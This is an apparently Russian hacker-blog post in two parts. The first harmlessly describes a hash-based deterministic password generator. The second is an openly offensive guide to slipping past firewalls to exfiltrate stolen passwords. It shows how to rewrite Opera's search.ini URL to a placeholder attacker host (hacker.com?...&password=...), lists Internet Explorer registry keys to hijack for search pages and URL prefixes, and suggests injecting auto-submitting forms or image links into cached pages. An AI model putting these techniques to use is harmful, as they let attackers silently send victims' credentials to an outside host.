{ Hack trash #next }

 
    Итак я продолжаю выкладывать всякую кому-то полезную фигню, а для кого-то просто трэш...

Vol 0. Password Generator

Кто где хранит свои пароли ? В голове, на бумажке, в менеджере паролей ?
А кто как генерирует свои пароли ?

А ведь процесс хранения паролей можно убрать ;) Достаточно что бы генератор паролей генерировал одинаковые значения каждый раз... Странно ? Нет .

Для реализации этой затеи воспользуемся хэш функцией. Маленький ликбез относительно хэш функций:

Однонаправленая хэш функция, называемая H(M) применяется к прообразу сообщения произвольной длинны М и возвращает значение фиксированной длинны h (свертку).
h = H(M), где h имеет длинну m
Вычислять значение фиксированной длинны по входным анным произвольной длины позволят многие функции, но однонаправленные хэш-функции обладают следующими дополнительными свойствами, делающими их настоящими однонаправленнми:
  • Зная М, легко вычислить h.
  • Зная h, трудно определить M, для которого H(M) = h.
  • Зная M, трудно определить другое сообщение, M', для которого H(M) = H(M')
(С) Брюс Шнайер

(hint для ньюбов - относительно слов трудно...почему 'трудно' а не 'невозможно' ? потому что мы проектируем бесконечное ножество возможных сообщений М на конечное множество - выход у хэш всегда фиксированной длинны - и было бы просто чудом не получить совпадения - поэтому все хэш функции уязвимы изначально)

Ок, но какой толк от хэш функций ? - мы можем с их помощью генерировать пароли. Для этого нам нужно задаться какими-то значениями... Например это может быть пароль и урл. Таким образом пара (разный URL)-(один пароль) является уникальной и том что все знают урл нет никакой опасности. При этом вы можете генерировать пароли любой длинны (ограниченно только выходом хэш функции) отсутвующие в словарях.

Формула, которую для генерации поля использовал я:

H ( H (password + url) + password)
Например для значений:
  • password = 'Мозофака' и url = 'forum.mazafaka.ru' мы получим (пароль из программы - см. архив) - 'Bjj+1Ecp'
  • password = 'Мазафака' и url = 'forum.mazafaka.ru' мы получим - 'VDxHbdox'
  • password = 'Мазафака' и url = 'microsoft.com' мы получим - 'gjTOGBkD'
  • password = 'Мазафака' и url = 'www.microsoft.com' мы получим - 'IqrHYeMd'
  • etc
А если кто-то получит значения одного моего пароля (напримр взломает какой-то форум и получит базу пользователей) - то сможет ли он рагадать остальные ? Ведь теперь он сможет вычислить значение password ?
На самом деле это мало вероятно - исходя хотя бы из того что в качестве пароля можно использовать не хэш а только 8-10 байт из него (не обязательно первые). Таки образом атакующему придётся дополнять хэш до нужно длинны всеми возможными вариантами.

Если я использую один пароль то как мне переодически его менять ?
Для этого можно использовать значение URL - например вместо 'forum.mazafaka.ru' использовать 'forum.mazafaka.ru 01.12.2006' - заодно не забудете когда нужно поменять пароль :) (hint - ессно урл это условность - можно использовать вместо 'forum.mazafaka.ru' строку 'форум на мазафака.ру самый песдатый' или адрес мыльника для генерации пароля к нему или имя файла на диске или ....вообщем всё что угодно.... =)

Ещё одна фишка - для преобразования хэша в печатный вид можно использовать что-то типа base64 (как я и сделал) - но при этом вы можете изменить алфавит (используемые символы) как угодно - и получать пароли из тех символов, которые вам нужны (например пароль только из русских или спец символов =)

Таким образом мы свели процесс ханения и гереации паролей в одну кучу. Бонусом является использование вместо пароля - хэша файла. Это ещё более уобный вариант - не надо помнить ничего кроме пути к файлу 8)

За подробностями смотим исходники - хотя они и на дельфи, но подобную фишку можно реализовать и кросс платформенно - например на JavaScript - тогда вы сможете(залив эту страничку на какой-нить халявный хостинг) сгенерировать нужны пароли в любой момент.

Vol 1. Обход фаеров, используя настройки клиенских приложений

Несмотря на то что фаеры с каждым днём наворчиваюся всё больше и больше - обойти их по прежнему довольно легко. Способов всё больше и больше - особенно если вам нужна не полноценная связь (клиент-сервер) - а просто скинуть на веб-гейт пароли .... вообщем передать немного информации.

Среди всего многообразия есть один вечный способ, который будет работать всегда - перенастройка клиентских приложений. Сейчас очень многие программы сильно интегррованны с различными веб сервисами. Если мы сможем изенить настройки так, что эти приложения будут обращаться сначала на наш сервер, а только потом на настоящий - то мы сможем передать кусочек нужой нам информации...

Наиболее простой пример - это браузеры. Наиболее тесно в них интегрированны функии поиска. Например в Опере за эти настройки отвечает файл search.ini, который храниться в профиле пользователя. Файл этот как часто бывает имеет понятный формат:

[Search Engine 1]
Name=&Google
URL=http://www.google.com/search?q=%s&sourceid=opera&num=%i&ie=utf-8&oe=utf-8
Query=
Key=g
Is post=0
Has endseparator=0
Encoding=utf-8
Search Type=0
Verbtext=17063
Position=-1
Nameid=0
И произведя лёгкие манипуляции с полем URL мы получаем возможность обхода фаера, через поиск. Мы изменим URL например на hacker.com?%s&password=blablabla теперь когда пользователь захочет воспользоваться поиском через гугл он сначала перейдёт на hacker.com, а оттуда его можно прозрачно редиректить на гугл... скорее всего пользователь не заметит как уплыли его пароли....

Ключи реестра, для настройки IE:

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main "Search Page" HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main "Start Page" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main "Default_Search_URL" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main "Search Bar" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main "Search Page" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main "Start Page" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Search "(Default)" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Search "CustomizeSearch" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Search "SearchAssistant" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\SearchUrl "(Default)"
Rроме того в IE есть возможность добавить префиксы ко всем запрашиваемым URL - те когда вы вводите microsoft.com - То можно добавить префикс hacker.com?password=blabla&url=microsoft.com и далее редирект по знакомому сценарию... За это отвечают ключи реестра:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\URL\DefaultPrefix "Default" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\URL\Prefixes "www"
В конце концов, можно просто выполнить поиск по реестру в поисках ссылок (искать что-то типа http или www. или ключи update) и поиск по всем ini файлам в системе - большинство из них не имеют надёжной защиты и поэтому мы можем их без проблем редактировать. В конце концов так можно привязаться практически любой программе...

Кроме того для браузеров непосредственно возможно изменение html кода страниц, сохранённых в кэше. Добавив в них форму (с автооправкой) или сслыку на картинку (<img>) мы можем надеяться что браузер рано или поздно запросит эту страницу из кэша.

Советую пройтись по первым 3-м ссылкам для ознакомления с современным состоянием дел на паблик - материалов об обходе фаеров...


    Файлы к статье:
  • password.rar password generator
 
  said